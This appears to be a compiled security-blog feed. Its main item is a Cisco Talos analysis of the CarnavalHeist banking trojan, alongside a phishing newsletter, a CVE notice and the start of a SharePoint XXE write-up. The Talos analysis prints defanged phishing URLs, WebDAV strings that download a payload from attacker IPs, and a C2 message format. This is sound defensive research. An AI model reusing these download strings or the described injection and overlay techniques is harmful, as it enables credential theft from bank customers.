Now to the point of this post, we are hiring. We are looking for engineers with a special motivation to understand these challenges and have a passion to build solutions that chip away at the problems. We intend to make some of this tooling, code, and data available to the public, so the engineers we bring onboard should have an appreciation for open source code. While we’re always looking for elite researchers to join the team, these engineering efforts will soon unlock the need for an army of analysts that are interested in coverage of public data an inch deep, and a mile wide. We will have the incentives and mentorship in place to refine and develop skills towards hacking  more difficult targets and research, but for the first time we will be opening our doors to entry level analysts with the motivation to learn and gain unparalleled experience in the world of vulnerability research.

Current openings include:

  • Full-Stack Software Engineer
  • Web Browser Vulnerability Researcher
  • Mobile Vulnerability Researcher
  • Zero-Day Vulnerability Researcher
  • N-Day Vulnerability Researcher

Please apply at our careers page

The post Hacking the Future: 12 Years at Exodus and the Next Big Leap appeared first on Exodus Intelligence.

Why AI Will Not Fully Replace Humans for Web Penetration Testing

31 May 2024 at 14:14

Written by: Steven van der Baan

In the ever-evolving landscape of cybersecurity, the integration of artificial intelligence (AI) has revolutionized various aspects of threat detection, prevention, and mitigation. Web penetration testing, a crucial component of ensuring the security posture of digital assets, has seen significant advancements through AI-powered tools. While AI undoubtedly offers numerous benefits in this domain, it’s essential to recognize that it cannot entirely replace human expertise and intuition. In this article, we explore the reasons why AI will not fully replace humans for web penetration testing.

AI excels in handling immense data volumes while recognizing patterns. However, it typically lacks the contextual understanding that human testers possess. Web applications function within specific business contexts, and vulnerabilities may manifest differently based on various factors such as industry, user behaviour, and regulatory requirements. Human testers can interpret these nuances and prioritize findings based on their potential impact on the organization’s objectives.

One of the fundamental challenges in cybersecurity is staying ahead of adversaries who continually innovate and devise new attack techniques. Although AI algorithms can detect known vulnerabilities efficiently, they may struggle to adapt to novel attack vectors or zero-day exploits. Human penetration testers bring creativity to the table, utilizing their experience and intuition to think like attackers and uncover unexpected vulnerabilities that automated tools might miss.

Certain categories of vulnerabilities, such as logical flaws or business logic errors, often require human intervention to identify accurately. These vulnerabilities may not be easily detectable through automated scanning alone, as they involve understanding the underlying logic of the application and its intended functionality. Human testers can replicate real-world scenarios and apply sophisticated techniques to uncover subtle security weaknesses that AI might overlook.

AI-powered tools for web penetration testing are prone to generating false positives (incorrectly identifying vulnerabilities that do not exist) and false negatives (overlooking actual vulnerabilities). Although advancements in machine learning have improved accuracy, eliminating both false positives and false negatives remains a significant challenge. Human testers play an essential role in validating automated findings, minimizing false alarms, and providing valuable insights into the context of each vulnerability.

The ethical and legal implications of automated penetration testing must be carefully considered. AI-powered tools may generate substantial volumes of traffic and potentially disrupt web applications, leading to unintended consequences or violations of terms of service. Furthermore, utilizing automated tools without proper authorization can result in legal repercussions. Human testers exercise judgment, ensuring that tests are conducted responsibly, with appropriate permissions and adherence to ethical guidelines.

While AI has revolutionized web penetration testing by automating routine tasks, detecting known vulnerabilities, and enhancing efficiency, it cannot replace the critical thinking, intuition, and creativity of human testers. The synergy between AI and human expertise is essential for conducting comprehensive and effective security assessments. By leveraging the strengths of both AI-powered tools and human testers, organizations can achieve a more robust and adaptive approach to web application security.

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

31 May 2024 at 12:00
  • Since February 2024, Cisco Talos has been observing an active campaign targeting Brazilian users with a new banking trojan called “CarnavalHeist.” Many of the observed tactics, techniques and procedures (TTPs) are common among other banking trojans coming out of Brazil. This family has also been referenced as AllaSenha in a recent report. 
  • Talos attributes with high confidence the development and operation of CarnavalHeist to Brazilian actors who could be identified because of some operational mistakes made during the domain registration process for their payload-hosting sites. 
  • The current campaign uses financial-related themes in spam emails, Delphi-based DLLs, overlay attack methods, and usual input capture techniques, such as keylogging and screen capture. There are also names of traditional Brazilian banks hardcoded in the malware.  
  • Unique to CarnavalHeist, however, is the dynamic use of a Python-based loader as part of the DLL injection process and the specific targeting of banking desktop applications to enable tracking of other Brazilian financial institutions. 

CarnavalHeist has Brazilian origins 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

Talos assesses with high confidence that the CarnavalHeist malware is of Brazilian origin and primarily targets Brazilian users based on our observations of the Portuguese language being used throughout all aspects of the infection chain and the malware itself, including the use of Brazilian slang to describe some bank names, and a notable lack of other language variants thus far. The command and control (C2) infrastructure exclusively uses the BrazilSouth availability zone on Microsoft Azure to control infected machines, and they specifically target prominent Brazilian financial institutions.  

We further assess that the current wave of activity has been ongoing since the beginning of February based on the volume and timeline of observable C2 domain activity, although we have observed related samples and variants that were uploaded to VirusTotal in November and December 2023, indicating that the malware has been in development since at least late 2023. As of May 2024, CarnavalHeist is still active, and our analysis remains ongoing as we continue to identify new samples. 

Financial-themed spam as initial execution method 

CarnavalHeist infection begins with a financially themed unsolicited email using a fake invoice as a lure to get the user to open a malicious URL. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
An example unsolicited email distributing CarnavalHeist.

The malicious link uses the IS.GD URL shortener service to redirect users to the first-stage payload. The URL usually looks similar to some of these examples: 

  • https://is[.]gd/38qeon?0177551.5510 
  • https://is[.]gd/ROnj3W?0808482.5176 
  • https://is[.]gd/a4dpQP?000324780473.85375532000 

This URL redirects the user to the server hosting the fake web page where the users are supposed to download their invoice. We have observed different domains being used in this step, but all contain references to “Nota Fiscal Eletrônica,” the Portuguese term for invoice. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Content of website where user is redirected to download the malware

Some of the domains we observed being used to host these pages are: 

  • https://notafiscaleletronica[.]nf-e[.]pro/danfe/?notafiscal=00510242.500611 
  • https://nota-fiscal[.]nfe-digital[.]top/nota-estadual/?notafiscal=00792011.977347 
  • https://nfe-visualizer[.]app[.]br/notas/?notafiscal=000851113082.35493424000 

The download target is the final link in this step, and it uses WebDAV to download the next-stage payload: 

  • search:query=NotaFiscal.pdf&crumb=location:\\4[.]203[.]105[.]118@80\Documentos&displayname=Downloads 
  • search:query=NotaFiscal.pdf&crumb=location:\\191[.]233[.]248[.]170@80\Documentos&displayname=Downloads 

This command ends up downloading a LNK file, which then executes the next stage of the infection. The LNK file’s metadata illustrates a common method threat actors use to execute malicious scripts and commands. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
LNK metadata used in the CarnavalHeist campaign.

The command above attempts to hide the malicious execution from the unsuspecting user. First, the text “Visualizacao indisponivel” (Portuguese for “view unavailable”) is written to a file, “NotaFiscal.pdf,” to the user’s Downloads directory. The PDF is then opened for viewing, meant to fool the user into thinking an actual PDF was downloaded, while another cmd.exe process is started minimized, and the malicious component is run.  

We have also observed multiple MSI installer-based variants, whereby the MSI file replaces the role of the LNK file and subsequent batch file, picking up in the execution chain with a variant of the first-stage Python script. In many of the earlier variants, the actor’s Python scripts were less refined and used lower-level C-types and a more obvious invocation of “windll.kernel32” directly in the Python script to dynamically load downstream malicious DLLs, rather than through the more obfuscated tool offered through the “pythonmemorymodule” package seen in the execution chain of the newer samples.  

Identifying the actors behind CarnavalHeist 

Our analysis of the different samples for CarnavalHeist have exposed the user account used on the system where some of the samples were compiled, in addition to a GitHub account referenced in the MSI variants that appears to have been hosting the loader and banking trojan payloads at one point.  

In examining the final payload, an assert statement within the code was flagged by the compiler and project metadata was exposed as a result. The assert we observed exposed the directory path “C:\Users\bert1m\Desktop\Meu Drive”, with “bert1m” being the active username during the payload’s compilation. The MSI variant also refers to a GitHub account “marianaxx0492494,” which was being used as a remote host for the files: 

  • github[.]com/marianaxx0492494/update/raw/main/setup.msi 
  • github[.]com/marianaxx0492494/update/raw/main/Execute_dll.zip 

These were presumably a copy of the MSI variant itself as well a version of the loader DLL. However, at the time of our investigation, this user account had already been removed from GitHub, and we could not find verified samples of the files at those URLs. 

While this evidence by itself is not enough to identify specific actors, we found additional evidence of the actors’ identity behind the development and operation of this malware campaign. While examining the WHOIS information for one of the domains hosting the initial infection, we noticed it exposed the full name and email address of the person registering the domain.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Whois information for domain nfe-visualizer[.]app[.]br used to distribute CarnavalHeist.

We can see the username in their email is similar to the username used in the project path we have observed inside the binary. Another important piece of information in this registry is the `ownerid`, which contains the CPF (“Cadastro de Pessoa Física” or “Natural Person Registry”) of the person. The CPF works as a national ID in Brazil.  

By searching for this person name, we found a reference to a company where they were a partner, which lists part of their CPF above: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Business association information for a company in Brazil showing part of the threat actor CPF.

We also found previous companies they owned in the Brazilian state of Maranhão: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Company owned by the threat actor associated with CarnavalHeist.

Another domain used to host the initial payload is also registered in Brazil and again exposes information about the owner. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Whois information for a second threat actor associated with CarnavalHeist.

For this person it was easier to find more information based on their CPF, as they have criminal records, according to the Brazilian judiciary service

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Criminal records for threat actor associated with CarnavalHeist.

Based on this information, Talos assess with high confidence these two actors are behind the development and operation of the campaign distributing CarnavalHeist affecting Brazilian victims. 

Analysis of batch file “a3.cmd” and Python loader 

The file “a3.cmd” is a Windows batch file with a several layers of simple encoding and obfuscation that serves as a wrapper for installing Python on the target environment and subsequently executing a Python script that handles injecting the second-stage payload DLL.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Batch file used in the first stage of infection.

This first layer is decoded to another shell script which downloads a Python interpreter from the official Python FTP server and installs to a malware-created folder. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
PowerShell script downloading and installing Python and subsequently running the malicious loader.

After using the downloaded Python interpreter, the batch file executes an embedded base64-encoded Python script. Decoding the base64 string embedded in the Python command reveals the final component of the cascading commands to be a loader for injecting a malicious DLL.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Python script used to download and inject the malicious banking DLL.

The script checks the processor architecture from the registry key `HARDWARE\DESCRIPTION\System\CentralProcessor\0` and bails out if the processor name value is “Broadwell.” It then uses the function `lk()` as a domain generation algorithm (DGA) to generate a fully qualified domain (FQDN) under the BrazilSouth region in Azure, which will be used to download the malicious DLL from. We explain the process by which this domain is generated in a section below. 

Once the correct FQDN has been generated, a TCP connection is opened. The script sends a UTF-8-encoded packet to the actor’s Azure server in the format below, where the victim’s hostname, Windows version name and processor architecture name are all passed as identifying markers: 

`pyCodeV1 - *NEW* {ss.gethostname()} | {Windows Product Name} | {Processor Architecture Name}` 

The server then sends a response back with a byte stream containing a DLL payload named “executor.dll,” a second-stage Python script that will load the DLL and additional Python modules used to load the DLL. This data object is then reserialized within the parent Python script and executed as the next stage through Python’s `exec()` command. 

Using CodePy for dynamic DLL execution 

The byte stream contains a handful of components that are passed to the `exec()` command to set up the downstream execution logic. On execution, CodePy first saves a copy of the previous Python script to the user’s public directory as “ps.txt”.

Next, the script unpacks the “executor.dll” PE file and loads the resulting bytes buffer of the DLL dynamically into memory through pythonmemorymodule’s `MemoryModule` class. Finally, the function entry point `Force` is called from `executor.dll` through the MemoryModule class function `get_proc_addr`. On execution, `Force` generates an up to 19-character randomized string using a similar character key string, as seen in the DGA function in the Python script.  

It then selects a random directory from the system’s default user profile of the typical standard Windows folders. The injector then checks if the system is running a 32- or 64-bit operating system and copies “mshta.exe” from the proper 32-bit folder to the selected user folder, renamed with a random character string and an .exe extension.  

Finally, the embedded payload, a UPX-packed banking trojan, is then extracted from a resource within executor.dll marked as “RcDLL”. It is another Delphi-based DLL, named "Access_PC_Client.dll" in many of the observed samples. The payload bytes are then written to a memory stream and injected into a spawned “mshta.exe” process.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Resource present in the malicious loader DLL.

Final payload: Banking trojan DLL 

CarnavalHeist will attempt to steal the victim’s credentials for a variety of Brazilian financial institutions. This is accomplished through overlay attack methodologies, whereby an actor presents an overlaid window on top of the expected legitimate application or service.  

Like other Brazilian banking trojans, the malware monitors window title strings for specific word and pattern matches. When a window title matches, the malware sets the window to invisible and replaces it with a bundled overlay image for the given organization. At the same time, a timer will attempt to open a new socket connection to an actor controlled C2 using another DGA function to create a separate. This DGA is distinct from the one used by the Python loader script, although this DGA also uses a server hosted on the BrazilSouth resource region on Azure.  

CarnavalHeist possesses numerous capture capabilities, commonly associated with banking trojans, which are either executed automatically once a matched bank is detected, or by receiving a command from the C2.  

The protocol is a customized version of a publicly available code for a Delphi Remote Access Client, which is the same protocol used by other banker families like Mekotio and Casbaneiro in the past. Luckily, these commands are not obfuscated and are exposed in the binary code. There is a single function processing all input from C2, and it translates to a series of IF/THEN structures for each command: 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Sequence of commands being processed from C2 communication.

The code supports approximately 80 commands from the C2, including keyboard capture, screenshots, video capture and remote control. They also enable the attacker to trigger specific overlay attacks to steal the login information for the banking institutions while the user interacts with the fake login screens.  

These commands sent from the C2 and responses from the malware are all sent unencrypted through a TCP connection on a random port. The commands and responses are usually enclosed in the tags shown in the code. One example of this is how the malware answers when the C2 responds to the initial connection attempt: 

`<|Info|>BANK_NAME<|>Windows 10 Enterprise<|>DESKTOP-XXXXXXX<|>Intel(R) Xeon(R) W-2295 CPU @ 3.00GHz<|><<|` 

There are also functions present in the binary that deal with remote control capabilities using AnyDesk remote desktop, which allows the attacker to interact with the user machine during a banking session. Some of the commands accept additional parameters like an IP/Port to be used for the video connection or the keyboard/clipboard interaction in case of remote access. 

CarnavalHeist can also capture and create QR codes on demand, which is used by many banks to allow users to log in and execute transactions. This enables the attacker to redirect transactions to accounts they control instead of the intended accounts the user intended. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Code showing the creation of QR code to overlay on victim's banking session.

Capturing mouse and keyboard events and their key translations would expose PINs and other similar tokens for these banks, while potentially being able to “pass through” the sign out to the legitimate service underneath the overlay, much like a skimmer on a credit card or ATM keypad. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Keyboard overlay used to capture banking PIN.

CarnavalHeist C2 protocol and DGA analysis 

CarnavalHeist uses different algorithms to generate the subdomains it uses to download payloads and communicate with its C2 servers. These subdomains are all hosted under the BrazilSouth availability zone in Azure at “{dga}[.]brazilsouth[.]cloudapp[.]azure[.]com”.  

The DGA that generates the correct subdomains is contained within a function named `lk()` in the Python script.  

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
Functions implementing the DGA were used to download the banking trojan payload.

It first gets the current date and weekday values from the Python datetime module and adds their values together to generate an integer value. This value is used as an index to retrieve a character out of the hardcoded string `{abcdefghijlmnopqrstuvxzwkyjlmnopqabcghjl}`.  

Five possible subdomain string choices are then generated and hashed by the SHA1 algorithm, followed by more string manipulation until it is returned. A random entry from this list is then selected to generate the final FQDN. 

Then, a random TCP port is generated by the function `ptV5()` following a similar algorithm using the dates as a seed, and these parameters are passed to the `connect()` Python function.  

The algorithm used by the malicious DLL to generate the subdomain used for C2 communication is also based on the current date and time but adds additional seeds depending on which banks are currently being accessed by the victim, which could be either through a web browser or a custom banking desktop application used by some banks in Brazil. These seed values are single-hex bytes associated with each bank: 

  • Target bank 1: 0x55 
  • Secondary targeted banks: 0x56 
  • All other financial institutions: 0x57 

The DGA will then select a starting letter for the subdomain based on an array of non-ordered alpha characters like in the Python script. It then uses the integer representations of the current day of the week, month and year, as well as the current month and week of the year, to generate separate additional parts of the subdomain string through several arithmetic operations.  

CarnavalHeist has likely been in active development since at least November of 2023, while significant in-the-wild activity first began in February 2024. Based on the information we had about the DGA domains and activities performed by the Python script, Talos discovered samples in VirusTotal and Talos telemetry dating back to November 2023. 

Tracing the DGA domains from the Python script and the final payload in our DNS telemetry, we first observed in-the-wild activity on Feb. 20, 2024, with more consistent activity ramping up beginning on Feb. 11, 2024. Additional variants of the Python loader containing slight alterations to the DGA were observed further on in our investigation. Tracing all the potential domains from all the DGA variations, we can observe initial visible activity beginning in February with larger spikes in actor domain activity starting in late March to the present. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks
DNS activity for the DGA domains used by CarnavalHeist.

We assess that the actor(s) behind CarnavalHeist are of low-to-moderate sophistication. There are some aspects of the code and malware that hint at sophistication, whether borrowed or their own, but are then short circuited or made pointless by mistakes or odd choices elsewhere. For example, the DGA algorithm for some of the Python cradles goes through the trouble of generating a list of five different potential subdomains to be used on any given day. The list of subdomains is then referenced by Python’s random choice function, but the subdomain list is sliced in a way that only the last option is ever used. This is then corrected to use all choices in another version of the Python script we observed. The actor is worth monitoring, as the ability to incorporate complexity within their malware is more concerning than the initially observed missteps, which can always be corrected in future development iterations. The number of additional variants we observed also suggests that the author of CarnavalHeist is actively developing it. 

Talos is continuing to monitor developments and analyze additional related samples and infrastructure to this actor and campaign. 

MITRE ATT&CK 

Tactic 

Technique 

Initial Access 

T1566.001: Phishing: Spearphishing Attachment 

Execution 

T1059.001: Command and Scripting Interpreter: PowerShell 

Execution 

T1059.003: Command and Scripting Interpreter: Windows Command Shell 

Execution 

T1059.006: Command and Scripting Interpreter: Python 

Persistence 

T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder 

Privilege Escalation 

T1055.001: Process Injection: Dynamic-link Library Injection 

Defense Evasion 

T1027.010: Obfuscated Files or Information: Command Obfuscation 

Defense Evasion 

T1027.012: Obfuscated Files or Information: LNK Icon Smuggling 

Defense Evasion 

T1027.009: Obfuscated Files or Information: Embedded Payloads 

Defense Evasion 

T1036.008: Masquerading: Masquerade File Type 

Credential Access 

T1056.001: Input Capture: Keylogging 

Credential Access 

T1056.002: Input Capture: GUI Input Capture 

Discovery 

T1010: Application Window Discovery 

Discovery 

T1082: System Information Discovery 

Lateral Movement 

T1570: Lateral Tool Transfer 

Collection 

T1113: Screen Capture 

Collection 

T1125: Video Capture 

Command and Control 

T1102: Web Service 

Command and Control 

T1102.002: Web Service: Bidirectional Communication 

Command and Control 

T1104: Multi-Stage Channels 

Command and Control 

T1105: Ingress Tool Transfer 

Command and Control 

T1568.002: Dynamic Resolution: Domain Generation Algorithms 

Command and Control 

T1571: Non-Standard Port 

Exfiltration 

T1020: Automated Exfiltration 

Exfiltration 

T1041: Exfiltration Over C2 Channel 

Exfiltration 

T1567: Exfiltration Over Web Service 

Coverage 

Ways our customers can detect and block this threat are listed below. 

New banking trojan “CarnavalHeist” targets Brazil with overlay attacks

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org

The following Snort SIDs are applicable to this threat: 63515, 63516, 63517, 63518 and 300922. 

 The following ClamAV detections are also available for this threat: 

Win.Trojan.CarnavalHeist-10029766-0 
Lnk.Downloader.CarnavalHeist-10029991-0 
Win.Dropper.CarnavalHeist-10029449-0 
Win.Loader.CarnavalHeist-10029772-0 

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here

CVE-2024-2421

30 May 2024 at 15:29

CWE-78: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN OS COMMAND ('OS COMMAND INJECTION')

LenelS2 NetBox access control and event monitoring system was discovered to contain an unauthenticated remote code execution in versions prior to and including 5.6.1, which allows an attacker to execute malicious commands with elevated permissions.

Attackers are impersonating a road toll payment processor across the U.S. in phishing attacks

30 May 2024 at 18:00
Attackers are impersonating a road toll payment processor across the U.S. in phishing attacks

My wife (no stranger to weird types of scams) recently received a fake text message from someone claiming to be New Jersey’s E-ZPass program saying that she had an outstanding balance from highway tolls that she owed, prompting her to visit a site so she could pay and avoid additional fines. 

There was plenty of reason to believe this was a legitimate ask. Her family is from New Jersey, so we make frequent trips there, paying $20-plus in tolls along the way. We had also just completed a trip from there a few weeks prior (though I’m not sure if this was a coincidence to the timing of the spam text or not), and we both have E-ZPass accounts. 

For the uninitiated, or anyone who lives in a country where taxes are paid as normal and therefore pay for appropriate road repairs, E-ZPass is a small device drivers in more than a dozen countries in the U.S. can register for so they can automatically pay tolls along highways rather than having to stop and use cash or coins, or spending a few extra minutes manually processing a transaction.  

Each state or city has its own agencies that deal with E-ZPass, each with its own payment processing system and website. For this case with New Jersey, the phishing site the scammers set up was shockingly convincing and looked remarkably similar to the legitimate New Jersey E-ZPass website.  

Attackers are impersonating a road toll payment processor across the U.S. in phishing attacks
The phishing website set up by scammers (left) meant to look like the legitimate New Jersey E-ZPass website (right).

Once we logged into our legitimate E-ZPass account to check to make sure we had, in fact, paid all the appropriate tolls, I alerted my team about this scam, and we appropriately blocked the phishing URL in question in Cisco Secure products.  

Since this victory and foray into threat hunting, I have learned that this is a problem everywhere, not just for New Jersey drivers. 

Since this experience, E-ZPass has sent out an alert in all the states they operate in warning about these types of scams. Drivers from New York to Georgia and Pennsylvania have received these types of texts with equally convincing phishing text messages and lure pages.  

It’s unclear what the adversaries’ goals are in this case, but it’s probably safe to assume they’re looking to collect users’ credit card information after they go in to pay the alleged overdue toll. They could also be collecting E-ZPass login information to collect further data about the drivers. 

In April, the FBI also warned of SMS phishing scams, in which adversaries pretended to be toll collection services from three different U.S. states. SunPass, the equivalent to E-ZPass in Florida, also alerted about similar scams around the same time as these E-ZPass scams started being reported. And in March, the FasTrak service in California warned of the same problems.  

My hunch is that these types of services are being impersonated all over the U.S. for several reasons — thousands of drivers use these services (especially in states with a high commuter population), which makes it likely that whoever receives the text will be familiar with these devices and will have recently driven on a highway that makes drivers pay tolls. The amounts they’re asking for are also small, no more than $5 USD, so it doesn’t set off any immediate alarm bells, unlike similar scams that ask for hundreds of dollars for health care services. The requests coming through as SMS messages also make the targets more likely to open them on their mobile devices, which may not have the same security in place as a laptop or managed company device. 

No individual state or local agency is immune from this style of scam, so if you’re ever in doubt of receiving a text like this, it’s best to call your area government program in question and ask them about any suspicious activity before clicking on any links or submitting payment information. 

The one big thing 

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software. Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application. There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments. We have more detailed information in our full Vulnerability Roundup from this week. 

Why do I care? 

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET. Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable. TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device. 

So now what? 

Each of the vendors mentioned in this week’s Vulnerability Roundup have released patches for affected products, and users should download these patches as soon as possible. For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website

Top security headlines of the week 

Security researchers are warning about the dangers of a new AI “Recall” feature for Microsoft Windows 11. Microsoft recently announced a new update, that will allow a computer to remember past actions taken by the user and then use a simple search to query that information (ex., “Where did I store that document again?”). However, because Recall essentially takes individual snapshots of a machine and stores them locally, there are several security concerns. If an adversary were to infect a targeted machine with information-stealing malware, they could steal important databases stored locally and anything stored by Windows Recall. Recall also contains what are essentially keylogging functions, leaving the door open for adversaries to easily steal login credentials or other personal information that had been entered into the machine over the previous three months. The United Kingdom’s data protection agency has already contacted Microsoft inquiring about the way this information is stored and used, and they’ve asked for assurance that users’ data will be properly safeguarded and not used by the company.  Other unauthorized users may be able to access and query Recall’s information, should they obtain physical access to the device. (Bleeping Computer, Double Pulsar

Popular spyware app pcTattletale had to completely shut down after a data breach and having its website seized. The company that operates the app, which quietly and remotely tracks users’ activities on infected machines and takes screenshots, had its website defaced earlier this week by a hacker, along with a dump of data belonging to alleged pcTattletale customers and victims. Just days before the disruption, reports surfaced that the software was quietly installed on computers that handled the check-in process at least three Wyndham hotels across the U.S. A vulnerability in the platform could have allowed anyone on the internet who exploits it can download screenshots captured by the software directly from its servers. pcTattletale advertised itself as software that could allow anyone to control it remotely and view the target’s Android or Windows devices and their data from anywhere in the world. The founder of the spyware said that, after the data breach, the company was “out of business and completely done.” The now-defunct app had 138,000 registered customers, according to data breach notification website Have I Been Pwned. (TechCrunch, TechCrunch (again)

Ascension hospitals across the U.S. still have to delay patient care more than three weeks after a cyber attack. As of earlier this week, the national hospital system is still experiencing network disruptions, forcing staff to write care notes by hand and deliver orders for tests and prescriptions in person. Patients have also been unable to use their online portals to contact their doctors or view their medical records. Ascension is one of the largest health systems in the U.S., with more than 140 hospitals across the country. It first alerted patients and doctors about “unusual activity” on May 8, and there is no timeline for when services will be fully restored. News reports indicate that the disruption is a ransomware attack that can be attributed to the BlackBasta threat actor, which has links to Russia. Large health care organizations have increasingly become the target of ransomware attacks, with a previous campaign targeting Change Healthcare earlier this year disrupting payments to medical providers across the U.S. for weeks. (NPR, The New York Times

Can’t get enough Talos? 

Upcoming events where you can find Talos 

Cisco Live (June 2 - 6) 

Las Vegas, Nevada 

Bill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

AREA41 (June 6 – 7) 

Zurich, Switzerland 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches. 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647 
MD5: bbcf7a68f4164a9f5f5cb2d9f30d9790 
Typical Filename: bbcf7a68f4164a9f5f5cb2d9f30d9790.vir 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::1201 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
MD5: 8c69830a50fb85d8a794fa46643493b2  
Typical Filename: AAct.exe  
Claimed Product: N/A   
Detection Name: PUA.Win.Dropper.Generic::1201 

SHA 256: e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c     
MD5: a087b2e6ec57b08c0d0750c60f96a74c     
Typical Filename: AAct.exe     
Claimed Product: N/A       
Detection Name: PUA.Win.Tool.Kmsauto::1201 

CVE-2024-30043: Abusing URL Parsing Confusion to Exploit XXE on SharePoint Server and Cloud

Yes, the title is right. This blog covers an XML eXternal Entity (XXE) injection vulnerability that I found in SharePoint. The bug was recently patched by Microsoft. In general, XXE vulnerabilities are not very exciting in terms of discovery and related technical aspects. They may sometimes be fun to exploit and exfiltrate data (or do other nasty things) in real environments, but in the vulnerability research world, you typically find them, report them, and forget about them.

So why am I writing a blog post about an XXE? I have two reasons:

·       It affects SharePoint, both on-prem and cloud instances, which is a nice target. This vulnerability can be exploited by a low-privileged user.
·       This is one of the craziest XXEs that I have ever seen (and found), both in terms of vulnerability discovery and the method of triggering. When we talk about overall exploitation and impact, this Pwn2Own win by Chris Anastasio and Steven Seeley is still my favorite.

The vulnerability is known as CVE-2024-30043, and, as one would expect with an XXE, it allows you to:

·       Read files with SharePoint Farm Service account permission.
·       Perform Server-side request forgery (SSRF) attacks.
·       Perform NTLM Relaying.
·       Achieve any other side effects to which XXE may lead.

Let us go straight to the details.

BaseXmlDataSource DataSource

Microsoft.SharePoint.WebControls.BaseXmlDataSource is an abstract base class, inheriting from DataSource, for data source objects that can be added to a SharePoint Page. DataSource can be included in a SharePoint page, in order to retrieve data (in a way specific to a particular DataSource). When a BaseXmlDataSource is present on a page, its Execute method will be called at some point during page rendering:

At [1], you can see the Execute method, which accepts a string called request. We fully control this string, and it should be a URL (or a path) pointing to an XML file. Later, I will refer to this string as DataFile.

At this point, we can derive this method into two main parts: XML fetching and XML parsing.

